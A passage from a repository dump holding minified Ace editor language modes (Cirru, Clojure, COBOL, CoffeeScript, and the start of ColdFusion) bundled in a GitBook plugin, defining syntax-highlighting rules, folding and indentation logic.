u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-cirru.js",
    "content": "define(\"ace/mode/cirru_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"constant.numeric\",regex:/[\\d\\.]+/},{token:\"comment.line.double-dash\",regex:/--/,next:\"comment\"},{token:\"storage.modifier\",regex:/\\(/},{token:\"storage.modifier\",regex:/\\,/,next:\"line\"},{token:\"support.function\",regex:/[^\\(\\)\\\"\\s]+/,next:\"line\"},{token:\"string.quoted.double\",regex:/\"/,next:\"string\"},{token:\"storage.modifier\",regex:/\\)/}],comment:[{token:\"comment.line.double-dash\",regex:/\\ +[^\\n]+/,next:\"start\"}],string:[{token:\"string.quoted.double\",regex:/\"/,next:\"line\"},{token:\"constant.character.escape\",regex:/\\\\/,next:\"escape\"},{token:\"string.quoted.double\",regex:/[^\\\\\\\"]+/}],escape:[{token:\"constant.character.escape\",regex:/./,next:\"string\"}],line:[{token:\"constant.numeric\",regex:/[\\d\\.]+/},{token:\"markup.raw\",regex:/^\\s*/,next:\"start\"},{token:\"storage.modifier\",regex:/\\$/,next:\"start\"},{token:\"variable.parameter\",regex:/[^\\(\\)\\\"\\s]+/},{token:\"storage.modifier\",regex:/\\(/,next:\"start\"},{token:\"storage.modifier\",regex:/\\)/},{token:\"markup.raw\",regex:/^\\ */,next:\"start\"},{token:\"string.quoted.double\",regex:/\"/,next:\"string\"}]}};r.inherits(s,i),t.CirruHighlightRules=s}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/cirru\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/cirru_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./cirru_highlight_rules\").CirruHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/cirru\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-clojure.js",
    "content": "define(\"ace/mode/clojure_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"* *1 *2 *3 *agent* *allow-unresolved-vars* *assert* *clojure-version* *command-line-args* *compile-files* *compile-path* *e *err* *file* *flush-on-newline* *in* *macro-meta* *math-context* *ns* *out* *print-dup* *print-length* *print-level* *print-meta* *print-readably* *read-eval* *source-path* *use-context-classloader* *warn-on-reflection* + - -> ->> .. / < <= = == > &gt; >= &gt;= accessor aclone add-classpath add-watch agent agent-errors aget alength alias all-ns alter alter-meta! alter-var-root amap ancestors and apply areduce array-map aset aset-boolean aset-byte aset-char aset-double aset-float aset-int aset-long aset-short assert assoc assoc! assoc-in associative? atom await await-for await1 bases bean bigdec bigint binding bit-and bit-and-not bit-clear bit-flip bit-not bit-or bit-set bit-shift-left bit-shift-right bit-test bit-xor boolean boolean-array booleans bound-fn bound-fn* butlast byte byte-array bytes cast char char-array char-escape-string char-name-string char? chars chunk chunk-append chunk-buffer chunk-cons chunk-first chunk-next chunk-rest chunked-seq? class class? clear-agent-errors clojure-version coll? comment commute comp comparator compare compare-and-set! compile complement concat cond condp conj conj! cons constantly construct-proxy contains? count counted? create-ns create-struct cycle dec decimal? declare definline defmacro defmethod defmulti defn defn- defonce defstruct delay delay? deliver deref derive descendants destructure disj disj! dissoc dissoc! distinct distinct? doall doc dorun doseq dosync dotimes doto double double-array doubles drop drop-last drop-while empty empty? ensure enumeration-seq eval even? every? false? ffirst file-seq filter find find-doc find-ns find-var first float float-array float? floats flush fn fn? fnext for force format future future-call future-cancel future-cancelled? future-done? future? gen-class gen-interface gensym get get-in get-method get-proxy-class get-thread-bindings get-validator hash hash-map hash-set identical? identity if-let if-not ifn? import in-ns inc init-proxy instance? int int-array integer? interleave intern interpose into into-array ints io! isa? iterate iterator-seq juxt key keys keyword keyword? last lazy-cat lazy-seq let letfn line-seq list list* list? load load-file load-reader load-string loaded-libs locking long long-array longs loop macroexpand macroexpand-1 make-array make-hierarchy map map? mapcat max max-key memfn memoize merge merge-with meta method-sig methods min min-key mod name namespace neg? newline next nfirst nil? nnext not not-any? not-empty not-every? not= ns ns-aliases ns-imports ns-interns ns-map ns-name ns-publics ns-refers ns-resolve ns-unalias ns-unmap nth nthnext num number? odd? or parents partial partition pcalls peek persistent! pmap pop pop! pop-thread-bindings pos? pr pr-str prefer-method prefers primitives-classnames print print-ctor print-doc print-dup print-method print-namespace-doc print-simple print-special-doc print-str printf println println-str prn prn-str promise proxy proxy-call-with-super proxy-mappings proxy-name proxy-super push-thread-bindings pvalues quot rand rand-int range ratio? rational? rationalize re-find re-groups re-matcher re-matches re-pattern re-seq read read-line read-string reduce ref ref-history-count ref-max-history ref-min-history ref-set refer refer-clojure release-pending-sends rem remove remove-method remove-ns remove-watch repeat repeatedly replace replicate require reset! reset-meta! resolve rest resultset-seq reverse reversible? rseq rsubseq second select-keys send send-off seq seq? seque sequence sequential? set set-validator! set? short short-array shorts shutdown-agents slurp some sort sort-by sorted-map sorted-map-by sorted-set sorted-set-by sorted? special-form-anchor special-symbol? split-at split-with str stream? string? struct struct-map subs subseq subvec supers swap! symbol symbol? sync syntax-symbol-anchor take take-last take-nth take-while test the-ns time to-array to-array-2d trampoline transient tree-seq true? type unchecked-add unchecked-dec unchecked-divide unchecked-inc unchecked-multiply unchecked-negate unchecked-remainder unchecked-subtract underive unquote unquote-splicing update-in update-proxy use val vals var-get var-set var? vary-meta vec vector vector? when when-first when-let when-not while with-bindings with-bindings* with-in-str with-loading-context with-local-vars with-meta with-open with-out-str with-precision xml-seq zero? zipmap\",t=\"throw try var def do fn if let loop monitor-enter monitor-exit new quote recur set!\",n=\"true false nil\",r=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"support.function\":e},\"identifier\",!1,\" \");this.$rules={start:[{token:\"comment\",regex:\";.*$\"},{token:\"keyword\",regex:\"[\\\\(|\\\\)]\"},{token:\"keyword\",regex:\"[\\\\'\\\\(]\"},{token:\"keyword\",regex:\"[\\\\[|\\\\]]\"},{token:\"keyword\",regex:\"[\\\\{|\\\\}|\\\\#\\\\{|\\\\#\\\\}]\"},{token:\"keyword\",regex:\"[\\\\&]\"},{token:\"keyword\",regex:\"[\\\\#\\\\^\\\\{]\"},{token:\"keyword\",regex:\"[\\\\%]\"},{token:\"keyword\",regex:\"[@]\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language\",regex:\"[!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+||=|!=|<=|>=|<>|<|>|!|&&]\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$\\\\-]*\\\\b\"},{token:\"string\",regex:'\"',next:\"string\"},{token:\"constant\",regex:/:[^()\\[\\]{}'\"\\^%`,;\\s]+/},{token:\"string.regexp\",regex:'/#\"(?:\\\\.|(?:\\\\\")|[^\"\"\\n])*\"/g'}],string:[{token:\"constant.language.escape\",regex:\"\\\\\\\\.|\\\\\\\\$\"},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"string\",regex:'\"',next:\"start\"}]}};r.inherits(s,i),t.ClojureHighlightRules=s}),define(\"ace/mode/matching_parens_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\)/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\))/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){var t=e.match(/^(\\s+)/);return t?t[1]:\"\"}}).call(i.prototype),t.MatchingParensOutdent=i}),define(\"ace/mode/clojure\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/clojure_highlight_rules\",\"ace/mode/matching_parens_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./clojure_highlight_rules\").ClojureHighlightRules,o=e(\"./matching_parens_outdent\").MatchingParensOutdent,u=function(){this.HighlightRules=s,this.$outdent=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.minorIndentFunctions=[\"defn\",\"defn-\",\"defmacro\",\"def\",\"deftest\",\"testing\"],this.$toIndent=function(e){return e.split(\"\").map(function(e){return/\\s/.exec(e)?e:\" \"}).join(\"\")},this.$calculateIndent=function(e,t){var n=this.$getIndent(e),r=0,i,s;for(var o=e.length-1;o>=0;o--){s=e[o],s===\"(\"?(r--,i=!0):s===\"(\"||s===\"[\"||s===\"{\"?(r--,i=!1):(s===\")\"||s===\"]\"||s===\"}\")&&r++;if(r<0)break}if(!(r<0&&i))return r<0&&!i?this.$toIndent(e.substring(0,o+1)):r>0?(n=n.substring(0,n.length-t.length),n):n;o+=1;var u=o,a=\"\";for(;;){s=e[o];if(s===\" \"||s===\"\t\")return this.minorIndentFunctions.indexOf(a)!==-1?this.$toIndent(e.substring(0,u-1)+t):this.$toIndent(e.substring(0,o+1));if(s===undefined)return this.$toIndent(e.substring(0,u-1)+t);a+=e[o],o++}},this.getNextLineIndent=function(e,t,n){return this.$calculateIndent(t,n)},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/clojure\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-cobol.js",
    "content": "define(\"ace/mode/cobol_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"ACCEPT|MERGE|SUM|ADD||MESSAGE|TABLE|ADVANCING|MODE|TAPE|AFTER|MULTIPLY|TEST|ALL|NEGATIVE|TEXT|ALPHABET|NEXT|THAN|ALSO|NO|THEN|ALTERNATE|NOT|THROUGH|AND|NUMBER|THRU|ANY|OCCURS|TIME|ARE|OF|TO|AREA|OFF|TOP||ASCENDING|OMITTED|TRUE|ASSIGN|ON|TYPE|AT|OPEN|UNIT|AUTHOR|OR|UNTIL|BEFORE|OTHER|UP|BLANK|OUTPUT|USE|BLOCK|PAGE|USING|BOTTOM|PERFORM|VALUE|BY|PIC|VALUES|CALL|PICTURE|WHEN|CANCEL|PLUS|WITH|CD|POINTER|WRITE|CHARACTER|POSITION||ZERO|CLOSE|POSITIVE|ZEROS|COLUMN|PROCEDURE|ZEROES|COMMA|PROGRAM|COMMON|PROGRAM-ID|COMMUNICATION|QUOTE|COMP|RANDOM|COMPUTE|READ|CONTAINS|RECEIVE|CONFIGURATION|RECORD|CONTINUE|REDEFINES|CONTROL|REFERENCE|COPY|REMAINDER|COUNT|REPLACE|DATA|REPORT|DATE|RESERVE|DAY|RESET|DELETE|RETURN|DESTINATION|REWIND|DISABLE|REWRITE|DISPLAY|RIGHT|DIVIDE|RUN|DOWN|SAME|ELSE|SEARCH|ENABLE|SECTION|END|SELECT|ENVIRONMENT|SENTENCE|EQUAL|SET|ERROR|SIGN|EXIT|SEQUENTIAL|EXTERNAL|SIZE|FLASE|SORT|FILE|SOURCE|LENGTH|SPACE|LESS|STANDARD|LIMIT|START|LINE|STOP|LOCK|STRING|LOW-VALUE|SUBTRACT\",t=\"true|false|null\",n=\"count|min|max|avg|sum|rank|now|coalesce|main\",r=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\*.*$\"},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(s,i),t.CobolHighlightRules=s}),define(\"ace/mode/cobol\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/cobol_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./cobol_highlight_rules\").CobolHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"*\",this.$id=\"ace/mode/cobol\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-coffee.js",
    "content": "define(\"ace/mode/coffee_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function s(){var e=\"[$A-Za-z_\\\\x7f-\\\\uffff][$\\\\w\\\\x7f-\\\\uffff]*\",t=\"this|throw|then|try|typeof|super|switch|return|break|by|continue|catch|class|in|instanceof|is|isnt|if|else|extends|for|own|finally|function|while|when|new|no|not|delete|debugger|do|loop|of|off|or|on|unless|until|and|yes\",n=\"true|false|null|undefined|NaN|Infinity\",r=\"case|const|default|function|var|void|with|enum|export|implements|interface|let|package|private|protected|public|static|yield|__hasProp|slice|bind|indexOf\",i=\"Array|Boolean|Date|Function|Number|Object|RegExp|ReferenceError|String|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray\",s=\"Math|JSON|isNaN|isFinite|parseInt|parseFloat|encodeURI|encodeURIComponent|decodeURI|decodeURIComponent|String|\",o=\"window|arguments|prototype|document\",u=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"invalid.illegal\":r,\"language.support.class\":i,\"language.support.function\":s,\"variable.language\":o},\"identifier\"),a={token:[\"paren.lparen\",\"variable.parameter\",\"paren.rparen\",\"text\",\"storage.type\"],regex:/(?:(\\()((?:\"[^\")]*?\"|'[^')]*?'|\\/[^\\/)]*?\\/|[^()\\\"'\\/])*?)(\\))(\\s*))?([\\-=]>)/.source},f=/\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)/;this.$rules={start:[{token:\"constant.numeric\",regex:\"(?:0x[\\\\da-fA-F]+|(?:\\\\d+(?:\\\\.\\\\d+)?|\\\\.\\\\d+)(?:[eE][+-]?\\\\d+)?)\"},{stateName:\"qdoc\",token:\"string\",regex:\"'''\",next:[{token:\"string\",regex:\"'''\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qqdoc\",token:\"string\",regex:'\"\"\"',next:[{token:\"string\",regex:'\"\"\"',next:\"start\"},{token:\"paren.string\",regex:\"#{\",push:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qstring\",token:\"string\",regex:\"'\",next:[{token:\"string\",regex:\"'\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"qqstring\",token:\"string.start\",regex:'\"',next:[{token:\"string.end\",regex:'\"',next:\"start\"},{token:\"paren.string\",regex:\"#{\",push:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{stateName:\"js\",token:\"string\",regex:\"`\",next:[{token:\"string\",regex:\"`\",next:\"start\"},{token:\"constant.language.escape\",regex:f},{defaultToken:\"string\"}]},{regex:\"[{}]\",onMatch:function(e,t,n){this.next=\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift()||\"\";if(this.next.indexOf(\"string\")!=-1)return\"paren.string\"}return\"paren\"}},{token:\"string.regex\",regex:\"///\",next:\"heregex\"},{token:\"string.regex\",regex:/(?:\\/(?![\\s=])[^[\\/\\n\\\\]*(?:(?:\\\\[\\s\\S]|\\[[^\\]\\n\\\\]*(?:\\\\[\\s\\S][^\\]\\n\\\\]*)*])[^[\\/\\n\\\\]*)*\\/)(?:[imgy]{0,4})(?!\\w)/},{token:\"comment\",regex:\"###(?!#)\",next:\"comment\"},{token:\"comment\",regex:\"#.*\"},{token:[\"punctuation.operator\",\"text\",\"identifier\"],regex:\"(\\\\.)(\\\\s*)(\"+r+\")\"},{token:\"punctuation.operator\",regex:\"\\\\.{1,3}\"},{token:[\"keyword\",\"text\",\"language.support.class\",\"text\",\"keyword\",\"text\",\"language.support.class\"],regex:\"(class)(\\\\s+)(\"+e+\")(?:(\\\\s+)(extends)(\\\\s+)(\"+e+\"))?\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\"].concat(a.token),regex:\"(\"+e+\")(\\\\s*)([=:])(\\\\s*)\"+a.regex},a,{token:\"variable\",regex:\"@(?:\"+e+\")?\"},{token:u,regex:e},{token:\"punctuation.operator\",regex:\"\\\\,|\\\\.\"},{token:\"storage.type\",regex:\"[\\\\-=]>\"},{token:\"keyword.operator\",regex:\"(?:[-+*/%<>&|^!?=]=|>>>=?|\\\\-\\\\-|\\\\+\\\\+|::|&&=|\\\\|\\\\|=|<<=|>>=|\\\\?\\\\.|\\\\.{2,3}|[!*+-=><])\"},{token:\"paren.lparen\",regex:\"[({[]\"},{token:\"paren.rparen\",regex:\"[\\\\]})]\"},{token:\"text\",regex:\"\\\\s+\"}],heregex:[{token:\"string.regex\",regex:\".*?///[imgy]{0,4}\",next:\"start\"},{token:\"comment.regex\",regex:\"\\\\s+(?:#.*)?\"},{token:\"string.regex\",regex:\"\\\\S+\"}],comment:[{token:\"comment\",regex:\"###\",next:\"start\"},{defaultToken:\"comment\"}]},this.normalizeRules()}var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules;r.inherits(s,i),t.CoffeeHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/coffee\",[\"require\",\"exports\",\"module\",\"ace/mode/coffee_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/folding/coffee\",\"ace/range\",\"ace/mode/text\",\"ace/worker/worker_client\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";function l(){this.HighlightRules=r,this.$outdent=new i,this.foldingRules=new s}var r=e(\"./coffee_highlight_rules\").CoffeeHighlightRules,i=e(\"./matching_brace_outdent\").MatchingBraceOutdent,s=e(\"./folding/coffee\").FoldMode,o=e(\"../range\").Range,u=e(\"./text\").Mode,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"../lib/oop\");f.inherits(l,u),function(){var e=/(?:[({[=:]|[-=]>|\\b(?:else|try|(?:swi|ca)tch(?:\\s+[$A-Za-z_\\x7f-\\uffff][$\\w\\x7f-\\uffff]*)?|finally))\\s*$|^\\s*(else\\b\\s*)?(?:if|for|while|loop)\\b(?!.*\\bthen\\b)/,t=/^(\\s*)#/,n=/^\\s*###(?!#)/,r=/^\\s*/;this.getNextLineIndent=function(t,n,r){var i=this.$getIndent(n),s=this.getTokenizer().getLineTokens(n,t).tokens;return(!s.length||s[s.length-1].type!==\"comment\")&&t===\"start\"&&e.test(n)&&(i+=r),i},this.toggleCommentLines=function(e,i,s,u){console.log(\"toggle\");var a=new o(0,0,0,0);for(var f=s;f<=u;++f){var l=i.getLine(f);if(n.test(l))continue;t.test(l)?l=l.replace(t,\"$1\"):l=l.replace(r,\"$&#\"),a.end.row=a.start.row=f,a.end.column=l.length+1,i.replace(a,l)}},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/coffee_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/coffee\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-coldfusion.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-